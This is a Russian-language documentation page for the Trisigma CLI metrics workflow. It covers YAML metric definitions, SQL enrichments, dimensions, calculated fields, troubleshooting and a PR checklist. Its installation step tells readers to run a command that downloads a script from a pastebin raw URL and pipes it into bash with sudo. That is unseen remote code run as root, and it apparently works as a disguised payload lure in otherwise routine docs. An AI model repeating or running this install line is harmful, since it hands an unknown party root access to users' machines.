Перейти к основному содержимому

Практический Workflow

Пошаговая инструкция создания метрики от идеи до продакшена.

Предварительные требования​

0. Получите доступ к репозиторию​

Если у вас еще нет доступа к репозиторию метрик, обратитесь в канал Trisigma Support Channel или к команде Trisigma для настройки доступа.

Подробнее об интеграции: см. документацию по настройке репозитория.

1. Установите Trisigma CLI​

sudo curl -sSL https://pastebin.com/raw/JwywS2A8 | tr -d '\r' | bash
trisigma init

2. Клонируйте репозиторий​

git clone git@github.com:{your-company}/{your-company}_ab_metrics.git ~/projects/ab-metrics
cd ~/projects/ab-metrics

3. Проверьте доступ​

trisigma sl validate

Сценарий 1: Простая метрика​

Задача: Метрика "Конверсия в телефонный звонок"​

Измеряем долю пользователей, кто позвонил после просмотра объявления.

Шаг 1: Создайте ветку​

trisigma sl task AB-1234 "Добавление метрики phone_call_rate"

Шаг 2: Выберите source​

trisigma sl list-sources
trisigma sl compile --source buyer_stream

Убедитесь что source содержит необходимые колонки: cookie_id, eid, event_date.

Шаг 3: Создайте метрику​

Создайте metrics/phone_call_conversion.yaml:

definitions:
  - &is_item_view { eid: 303 }
  - &is_phone_call { eid: 315 }

metric.counter:
  item_views: { filter: *is_item_view, obs: [events_count] }
  phone_calls: { filter: *is_phone_call, obs: [events_count] }

metric.uniq:
  item_viewers: { counter: item_views, key: [cookie_id] }
  phone_callers: { counter: phone_calls, key: [cookie_id] }

metric.ratio:
  phone_call_rate: { num: phone_callers, den: item_viewers }

Шаг 4: Привяжите к source​

Откройте sources/sources.yaml:

buyer_stream:
  metric_configs:
    - buyer_stream
    - phone_call_conversion # Добавили

Шаг 5: Валидируйте​

trisigma sl validate

Если есть ошибки:

trisigma sl validate --ai-explain

Шаг 6: Проверьте SQL​

trisigma sl compile --metrics phone_call_rate

Шаг 7: Сохраните​

trisigma sl save -m "AB-1234: Добавил метрику phone_call_rate"

Шаг 8: Опубликуйте PR​

trisigma sl publish

Шаг 9: Review и merge​

  1. Откройте PR по ссылке
  2. Автоматически запустится билд валидации
  3. Результаты валидации отобразятся в комментариях к PR
  4. Дождитесь review
  5. После апрува используйте команду run merge в комментариях PR
  6. Попросите merge в Trisigma Support Channel, если возникли проблемы

Шаг 10: Проверка после merge​

После успешного мерджа:

  1. Перейдите в Реестр метрик
  2. Найдите вашу метрику
  3. Проверьте сгенерированный SQL
  4. Убедитесь, что логика расчета соответствует ожиданиям

Сценарий 2: Метрика с enrichment​

Задача: Метрика "DAU по сегментам покупателя"​

Измеряем активных пользователей с разбивкой по сегментам (seeker/offerer).

Шаг 1: Проверьте enrichment​

trisigma sl list-sources
trisigma sl compile --source buyer_stream --dimensions buyer_segment

Если buyer_segment доступен, переходите к созданию метрики.

Если enrichment отсутствует, создайте enrichments/buyer_segment.yaml:

buyer_segment_cookie:
  sql: |
    SELECT cookie_id, event_date, buyer_segment
    FROM dma.v_buyer_segments
    WHERE {{ pushdown_filter(cookie_id='cookie_id') }}
      AND event_date BETWEEN :first_date AND :last_date
  join_key: [cookie_id, event_date]

Шаг 2: Создайте метрику​

Создайте metrics/dau_by_segment.yaml:

definitions:
  - &is_seeker { buyer_segment: "seeker" }
  - &is_offerer { buyer_segment: "offerer" }

metric.counter:
  seeker_events: { filter: *is_seeker, obs: [events_count] }
  offerer_events: { filter: *is_offerer, obs: [events_count] }

metric.uniq:
  dau_seekers: { counter: seeker_events, key: [cookie_id] }
  dau_offerers: { counter: offerer_events, key: [cookie_id] }

Шаг 3: Привяжите к source​

buyer_stream:
  metric_configs:
    - buyer_stream
    - dau_by_segment # Добавили

Шаг 4: Валидируйте и проверьте​

trisigma sl validate
trisigma sl compile --metrics dau_seekers --dimensions buyer_segment

Enrichment применится автоматически, т.к. метрика использует buyer_segment.

Сценарий 3: Dimension с enrichment​

Задача: Добавить dimension "Источник трафика"​

Шаг 1: Создайте enrichment​

Создайте enrichments/traffic_source.yaml:

traffic_source_cookie:
  sql: |
    SELECT cookie_id, event_date, traffic_source_id
    FROM dma.v_traffic_sources
    WHERE {{ pushdown_filter(cookie_id='cookie_id') }}
      AND event_date BETWEEN :first_date AND :last_date
  join_key: [cookie_id, event_date]

Шаг 2: Создайте dimension​

Добавьте в dimensions/dimensions.yaml:

traffic_source:
  has_id: true
  description: "Источник трафика (organic, paid, direct)"

Шаг 3: Создайте справочник​

Создайте dimensions/sql/traffic_source.sql:

SELECT
  source_name as value,
  source_id as value_id
FROM dma.d_traffic_sources
WHERE is_active = true

Шаг 4: Валидируйте​

trisigma sl validate

Шаг 5: Проверьте использование​

trisigma sl compile --metrics daily_active_users --dimensions traffic_source

Сценарий 4: Calculated Fields​

Задача: Добавить поле "Возраст объявления в часах"​

Когда нужно использовать вычисляемое поле в метриках и dimensions.

Шаг 1: Определите calculated field​

В файле enrichment добавьте:

item_attr_log:
  sql: |
    SELECT item_id, event_date, sort_time, event_datetime
    FROM dma.item_attr_log
    WHERE {{ pushdown_filter(item_id='item_id') }}
  join_key: [item_id, event_date]

calculated_fields:
  item_age_hours: date_diff('hour', sort_time, event_datetime)

Шаг 2: Используйте в метрике​

metric.counter:
  fresh_item_views:
    filter: [item_age_hours.<: 24, eid: 303] # Объявления младше 24 часов
    obs: [events_count]

metric.uniq:
  fresh_item_viewers:
    counter: fresh_item_views
    key: [cookie_id]

Шаг 3: Валидируйте​

trisigma sl validate
trisigma sl compile --metrics fresh_item_viewers

Быстрая справка команд​

Управление задачами​

# Создание ветки \{#sozdanie-vetki}
trisigma sl task AB-1234 "Описание"

# Статус \{#status}
trisigma sl status

Валидация и компиляция​

# Валидация \{#validatsiya}
trisigma sl validate
trisigma sl validate --ai-explain

# Компиляция source \{#kompilyatsiya-source}
trisigma sl compile --source buyer_stream

# Компиляция метрик \{#kompilyatsiya-metrik}
trisigma sl compile --metrics daily_active_users
trisigma sl compile --metrics conversion_rate --dimensions platform

# Режим watch (автоматическая перекомпиляция при изменениях) \{#rezhim-watch-avtomaticheskaya-perekompilyatsiya-pri-izmeneniyah}
trisigma sl compile --source buyer_stream --watch

Списки​

trisigma sl list-sources
trisigma sl list-dimensions
trisigma sl list-metrics

Git операции​

trisigma sl save -m "AB-1234: Описание изменений"
trisigma sl publish

Частые проблемы​

1. Валидация не проходит: колонка не найдена​

Error: column 'cookie_id' not found in source

Решение: Проверьте SQL source или enrichment:

trisigma sl compile --source my_source

Убедитесь, что колонка присутствует в SELECT.

2. Metric ссылается на несуществующий counter​

Error: metric 'buyers' references counter 'purchases' which doesn't exist

Решение: Определите counter в том же файле:

metric.counter:
  purchases: { filter: [eid: 500], obs: [events_count] }

metric.uniq:
  buyers: { counter: purchases, key: [cookie_id] }

3. Enrichment не применяется​

Причины:

  1. В source отсутствуют колонки из join_key
  2. Колонка enrichment не используется в метрике или dimension

Решение: Проверьте:

trisigma sl compile --source buyer_stream

Убедитесь, что все колонки из join_key присутствуют в source:

buyer_segment_cookie:
  join_key: [cookie_id, event_date] # ОБА поля должны быть в source

4. Циклическая зависимость enrichments​

Error: circular dependency detected: enrichment_a -> enrichment_b -> enrichment_a

Решение: Пересмотрите join_key в enrichments, чтобы избежать циклов.

5. Dimension справочник не найден​

Error: dimension 'my_dimension' is missing SQL file

Решение: Создайте файл dimensions/sql/my_dimension.sql со справочником.

6. Несоответствие типов для has_id​

Error: dimension 'platform' has has_id=True but column 'platform' is not integer type

Решение:

  1. Убедитесь, что колонка имеет суффикс _id: platform_id
  2. Или измените has_id: false, если это не ID-поле

Чеклист перед PR​

  1. Создана ветка через trisigma sl task
  2. Выбран подходящий source (или создан новый)
  3. Создан файл метрики (или enrichment/dimension)
  4. Метрика привязана к source в sources.yaml
  5. Валидация прошла (trisigma sl validate)
  6. SQL проверен (trisigma sl compile --metrics)
  7. Tested with dimensions (trisigma sl compile --metrics X --dimensions Y)
  8. Сохранено (trisigma sl save -m "AB-XXXX: описание")
  9. PR опубликован (trisigma sl publish)

Следующие шаги​

Документация​

  1. Концепции. как работает семантический слой
  2. Sources. таблицы фактов
  3. Enrichments. автоматическое обогащение
  4. Metrics. логика расчета метрик
  5. Dimensions. разрезы

Инструменты​

  1. Trisigma CLI. документация CLI
  2. Реестр метрик. просмотр метрик

Поддержка​

  1. Trisigma Support Channel. общие вопросы по платформе
  2. Trisigma Team Channel. вопросы по метрикам и семантическому слою